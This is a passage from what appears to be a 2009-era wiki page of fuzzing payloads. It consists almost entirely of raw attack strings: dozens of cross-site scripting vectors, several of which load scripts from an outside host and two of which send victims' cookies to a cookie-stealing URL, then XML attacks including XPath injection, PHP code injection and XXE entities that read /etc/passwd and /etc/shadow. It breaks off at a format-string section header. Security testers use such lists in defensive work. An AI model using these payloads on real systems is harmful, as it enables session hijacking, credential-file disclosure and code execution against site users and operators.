&quot;&amp;lt;STYLE&amp;gt;BODY{-moz-binding:url(&quot;&quot;http://ha.ckers.org/xssmoz.xml#xss&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;behavior: url(xss.htc);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;li {list-style-image: url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;UL&amp;gt;&amp;lt;LI&amp;gt;XSS&quot;<br /> &quot;&amp;lt;IMG SRC='vbscript:msgbox(&quot;&quot;XSS&quot;&quot;)'&amp;gt;&quot;<br /> ¼script¾alert(¢XSS¢)¼/script¾<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;refresh&quot;&quot; CONTENT=&quot;&quot;0; URL=http://;URL=javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IFRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/IFRAME&amp;gt;&quot;<br /> &quot;&amp;lt;FRAMESET&amp;gt;&amp;lt;FRAME SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&amp;lt;/FRAMESET&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;TABLE&amp;gt;&amp;lt;TD BACKGROUND=&quot;&quot;javascript:alert('XSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;background-image: url(&amp;amp;#1;javascript:alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;DIV STYLE=&quot;&quot;width: expression(alert('XSS'));&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;@im\port'\ja\vasc\ript:alert(&quot;&quot;XSS&quot;&quot;)';&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;IMG STYLE=&quot;&quot;xss:expr/*XSS*/ession(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;XSS STYLE=&quot;&quot;xss:expression(alert('XSS'))&quot;&quot;&amp;gt;&quot;<br /> &quot;exp/*&amp;lt;A STYLE='no\xss:noxss(&quot;&quot;*//*&quot;&quot;);xss:ex/*XSS*//*/*/pression(alert(&quot;&quot;XSS&quot;&quot;))'&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE TYPE=&quot;&quot;text/javascript&quot;&quot;&amp;gt;alert('XSS');&amp;lt;/STYLE&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE&amp;gt;.XSS{background-image:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;);}&amp;lt;/STYLE&amp;gt;&amp;lt;A CLASS=XSS&amp;gt;&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;STYLE type=&quot;&quot;text/css&quot;&quot;&amp;gt;BODY{background:url(&quot;&quot;javascript:alert('XSS')&quot;&quot;)}&amp;lt;/STYLE&amp;gt;&quot;<br /> &amp;lt;!--[if gte IE 4]&amp;gt;&amp;lt;SCRIPT&amp;gt;alert('XSS');&amp;lt;/SCRIPT&amp;gt;&amp;lt;![endif]--&amp;gt;<br /> &quot;&amp;lt;BASE HREF=&quot;&quot;javascript:alert('XSS');//&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;OBJECT TYPE=&quot;&quot;text/x-scriptlet&quot;&quot; DATA=&quot;&quot;http://ha.ckers.org/scriptlet.html&quot;&quot;&amp;gt;&amp;lt;/OBJECT&amp;gt;&quot;<br /> &amp;lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&amp;gt;&amp;lt;param name=url value=javascript:alert('XSS')&amp;gt;&amp;lt;/OBJECT&amp;gt;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;http://ha.ckers.org/xss.swf&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;EMBED SRC=&quot;&quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&quot;&quot; type=&quot;&quot;image/svg+xml&quot;&quot; AllowScriptAccess=&quot;&quot;always&quot;&quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;XML SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&amp;lt;?xml:namespace prefix=&quot;&quot;t&quot;&quot; ns=&quot;&quot;urn:schemas-microsoft-com:time&quot;&quot;&amp;gt;&amp;lt;?import namespace=&quot;&quot;t&quot;&quot; implementation=&quot;&quot;#default#time2&quot;&quot;&amp;gt;&amp;lt;t:set attributeName=&quot;&quot;innerHTML&quot;&quot; to=&quot;&quot;XSS&amp;lt;SCRIPT DEFER&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT SRC=&quot;&quot;http://ha.ckers.org/xss.jpg&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo '&amp;lt;SCR'&quot;&quot;--&amp;gt;&amp;lt;!--#exec cmd=&quot;&quot;/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&quot;&quot;--&amp;gt;&quot;<br /> &quot;&amp;lt;? echo('&amp;lt;SCR)';echo('IPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;');&amp;nbsp;?&amp;gt;&quot;<br /> &quot;&amp;lt;META HTTP-EQUIV=&quot;&quot;Set-Cookie&quot;&quot; Content=&quot;&quot;USERID=&amp;lt;SCRIPT&amp;gt;alert('XSS')&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&quot;&quot;CONTENT-TYPE&quot;&quot; CONTENT=&quot;&quot;text/html; charset=UTF-7&quot;&quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT =&quot;&quot;&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;&quot;&quot; '' SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT &quot;&quot;a='&amp;gt;'&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT a=&quot;&quot;&amp;gt;'&amp;gt;&quot;&quot; SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT&amp;gt;document.write(&quot;&quot;&amp;lt;SCRI&quot;&quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://66.102.7.147/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://1113982867/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0x42.0x0000066.0x7.0x93/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://0102.0146.0007.00000223/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;h\ntt\tp://6&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//www.google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;//google&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://google.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.google.com./&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;javascript:document.location='http://www.google.com/'&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;A HREF=&quot;&quot;http://www.gohttp://www.google.com/ogle.com/&quot;&quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&quot;<br /> &quot;&amp;lt;div onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;input type=&quot;&quot;image&quot;&quot; dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;bgsound src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&quot;<br /> &quot;&amp;lt;img src=&amp;amp;{document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);};&amp;gt;&quot;<br /> &quot;&amp;lt;link rel=&quot;&quot;stylesheet&quot;&quot; href=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;iframe src=&quot;&quot;vbscript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;livescript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;about:&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;meta http-equiv=&quot;&quot;refresh&quot;&quot; content=&quot;&quot;0;url=javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;body onload=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;background-image: url(javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;behaviour: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;width: expression(document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;););&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style type=&quot;&quot;text/javascript&quot;&quot;&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/style&amp;gt;&quot;<br /> &quot;&amp;lt;object classid=&quot;&quot;clsid:...&quot;&quot; codebase=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;style&amp;gt;&amp;lt;!--&amp;lt;/style&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;![CDATA[&amp;lt;!--]]&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);//--&amp;gt;&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&quot;&quot;onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;blah&amp;gt;&quot;&quot; onmouseover=&quot;&quot;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div datafld=&quot;&quot;b&quot;&quot; dataformatas=&quot;&quot;html&quot;&quot; datasrc=&quot;&quot;#X&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&quot;<br /> &quot;&amp;lt;a href=&quot;&quot;javascript#document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;img dynsrc=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;amp;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;img src=&quot;&quot;mocha:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;div style=&quot;&quot;binding: url([link to code]);&quot;&quot;&amp;gt; [Mozilla]&quot;<br /> &quot;&amp;lt;!-- -- --&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;&amp;lt;!-- -- --&amp;gt;&quot;<br /> &quot;&amp;lt;xml src=&quot;&quot;javascript:document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;xml id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: 